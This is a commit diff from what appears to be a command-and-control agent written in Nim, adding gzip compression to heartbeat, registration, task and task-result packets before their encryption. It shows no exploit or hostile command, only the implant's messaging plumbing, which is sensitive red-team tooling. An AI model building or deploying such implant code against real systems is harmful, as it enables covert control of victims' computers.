Implemented compression of the network packet bodies.
This commit is contained in:
@@ -1,5 +1,4 @@
|
||||
import times
|
||||
|
||||
import times, zippy
|
||||
import ../../common/[types, serialize, sequence, utils, crypto]
|
||||
|
||||
proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
|
||||
@@ -31,8 +30,11 @@ proc serializeHeartbeat*(ctx: AgentCtx, request: var Heartbeat): seq[byte] =
|
||||
let body = packer.pack()
|
||||
packer.reset()
|
||||
|
||||
# Compress payload body
|
||||
let compressedPayload = compress(body, BestCompression, dfGzip)
|
||||
|
||||
# Encrypt check-in / heartbeat request body
|
||||
let (encData, gmac) = encrypt(ctx.sessionKey, request.header.iv, body, request.header.seqNr)
|
||||
let (encData, gmac) = encrypt(ctx.sessionKey, request.header.iv, compressedPayload, request.header.seqNr)
|
||||
|
||||
# Set authentication tag (GMAC)
|
||||
request.header.gmac = gmac
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import winim, os, net, strformat, strutils, registry, sugar
|
||||
import winim, os, net, strformat, strutils, registry, zippy
|
||||
|
||||
import ../../common/[types, serialize, sequence, crypto, utils]
|
||||
|
||||
@@ -241,8 +241,11 @@ proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData):
|
||||
let metadata = packer.pack()
|
||||
packer.reset()
|
||||
|
||||
# Compress payload body
|
||||
let compressedPayload = compress(metadata, BestCompression, dfGzip)
|
||||
|
||||
# Encrypt metadata
|
||||
let (encData, gmac) = encrypt(ctx.sessionKey, data.header.iv, metadata, data.header.seqNr)
|
||||
let (encData, gmac) = encrypt(ctx.sessionKey, data.header.iv, compressedPayload, data.header.seqNr)
|
||||
|
||||
# Set authentication tag (GMAC)
|
||||
data.header.gmac = gmac
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import times, sugar
|
||||
import times, zippy
|
||||
import ../../common/[types, serialize, sequence, crypto, utils]
|
||||
|
||||
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
|
||||
@@ -44,8 +44,11 @@ proc serializeTaskResult*(ctx: AgentCtx, taskResult: var TaskResult): seq[byte]
|
||||
let body = packer.pack()
|
||||
packer.reset()
|
||||
|
||||
# Compress payload
|
||||
let compressedPayload = compress(body, BestCompression, dfGzip)
|
||||
|
||||
# Encrypt result body
|
||||
let (encData, gmac) = encrypt(ctx.sessionKey, taskResult.header.iv, body, taskResult.header.seqNr)
|
||||
let (encData, gmac) = encrypt(ctx.sessionKey, taskResult.header.iv, compressedPayload, taskResult.header.seqNr)
|
||||
|
||||
# Set authentication tag (GMAC)
|
||||
taskResult.header.gmac = gmac
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import strutils, tables, json, strformat, sugar
|
||||
import strutils, tables, json, strformat, zippy
|
||||
|
||||
import ./result
|
||||
import ../../modules/manager
|
||||
@@ -20,11 +20,14 @@ proc deserializeTask*(ctx: AgentCtx, bytes: seq[byte]): Task =
|
||||
validatePacket(header, cast[uint8](MSG_TASK))
|
||||
|
||||
# Decrypt payload
|
||||
let payload = unpacker.getBytes(int(header.size))
|
||||
let decData= validateDecryption(ctx.sessionKey, header.iv, payload, header.seqNr, header)
|
||||
let compressedPayload = unpacker.getBytes(int(header.size))
|
||||
let decData = validateDecryption(ctx.sessionKey, header.iv, compressedPayload, header.seqNr, header)
|
||||
|
||||
# Decompress payload
|
||||
let payload = uncompress(decData, dfGzip)
|
||||
|
||||
# Deserialize decrypted data
|
||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||
unpacker = Unpacker.init(Bytes.toString(payload))
|
||||
|
||||
let
|
||||
taskId = unpacker.getUint32()
|
||||
|
||||
Reference in New Issue
Block a user